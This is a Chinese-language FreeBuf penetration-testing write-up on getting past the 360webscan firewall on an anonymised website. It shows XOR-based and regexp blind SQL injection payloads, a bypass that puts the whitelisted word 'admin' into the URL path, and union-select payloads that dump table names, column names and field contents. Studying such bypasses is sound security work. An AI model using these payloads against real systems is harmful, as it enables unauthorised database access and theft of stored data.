記一次對WebScan的Bypass

*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

PS:此網站漏洞已被處理,本文內容僅供技術交流,嚴禁用於非法用途。

前言

今天測試了一個網站,發現存在360webscan的攔截,於是便開始了一波“bypass”。

進入主題

1. 判斷注入點

使用“and 1=1”測試了一下,慘遭攔截。隨後又測試了一下or也是被攔截的。

但是按位異或運算(^)未被攔截也可以使用xor。

“按位異或運算”測試:

在這裏先介紹下“按位異或運算”,這種測試注入點的方法最開始是看一位大佬發過,原諒我已經找不到這位大佬的文章了。但是這位大佬並未解釋使用這種方法的具體原理是什麼,下面我給大家簡單介紹一下按位異或運算使用的基本規則:

1^1=01^0=10^0=0

具體原理參考:https://blog.csdn.net/zpy1998zpy/article/details/80667775

栗子:

在這裏我們對我們的網站進行測試:

頁面正常payload:xxxnid=216^(1=1)^1

3. 使用“按位異或運算”判斷一下當前數據庫名稱的長度:

Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1

然後我們打開bp,將抓取到的數據包發送到intruder模塊,然後把數據庫長度值設置爲變量。

payload type設置爲numbers遍歷1-15這15個數字。

最終我們得到數據庫字段的長度爲13。

4. 使用“按位異或運算”結合盲注來獲取數據庫名稱:

這裏我們使用的是regexp正則注入,簡單介紹一下:

用法:select user() regexp ‘^[a-z]’;

這裏是在匹配用戶名的第一位:

繼續匹配第二位的用法:select user() regexp ‘^r[a-z]’;

類似的盲注方法還有like匹配注入、left()函數、mid()函數、substr()函數等等。

構造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1

在這裏我們將從數據庫的第一個字段開始進行盲注。

這裏我們使用字典來爆破字段名稱,我們指定的字典內容包括常用的大小寫字母、特殊符號、數字等。在這裏的時候我遇到了個坑,我使用的字典裏沒加入數字,但是數據庫名稱裏包含數字,導致我爆破到第三個參數的時候就沒有結果了,最後發現字典裏沒把數字加進去,真的是賊菜。

爆破出數據庫的第一個參數是“p”。

依次爆破,最終我們得到了數據庫名稱。

5. 接下來就是構造獲取表名的payload了。

我們使用left()函數進行構造,先來看一個的栗子:

select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

由此我們可以構造payload爲:

xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1

事情並不是一帆風順的,360webscan再次攔截,經測試,攔截的是from關鍵字,這就很難受了,測試了很多方法都沒有繞過過濾,內聯註釋、編碼、干擾正則等方法都沒辦法。

將from加上別的字符就不攔截。。

6. 最後還是找到了“樓蘭”大佬幫忙。

大佬告訴我,360的webscan是可以繞過的,原來360webscan自己有定義一個白名單,只要URL路徑中出現了admin等關鍵字時候就能繞過檢測。

後來大佬又給我推薦了一篇文章,講的是繞過360webscan的原理,這篇文章講的真好,附上文章鏈接:https://www.leavesongs.com/penetration/360webscan-bypass.html。後來我在網上一搜,原來已經有不少前輩研究過這個繞過方法啦,需要學習的東西真的很多,加油!

最後自己也去看了一下360webscan的源碼,白名單如下:(代碼地址:https://github.com/baiqj/host_manager/tree/master/other/360safe)

再次構造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -

7. 接下來就好說了,都是常規操作了

這裏我們先看一下當前數據庫名稱,可以看到,和我們之前盲注得到的數據庫名稱是一致的。

Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -

接下來是爆出所有的表名:

Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -

爆出所有字段名稱:

Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -

爆字段內容:

Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -

總結

1. 使用“按位異或運算”來判斷注入點,繞過一些過濾了and、or等一些關鍵字的waf,真的是非常不錯的姿勢。 2. 我們在一個頁面找不到可顯字段的時候,可以換幾個頁面試一下,也可以將前面參數id值改爲負,這樣都可以讓可顯字段回顯到頁面上。 3. 最後一點,就是最後通過在路徑中添加白名單關鍵字“admin”繞過網站的防護,這個思路真的非常棒。

*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章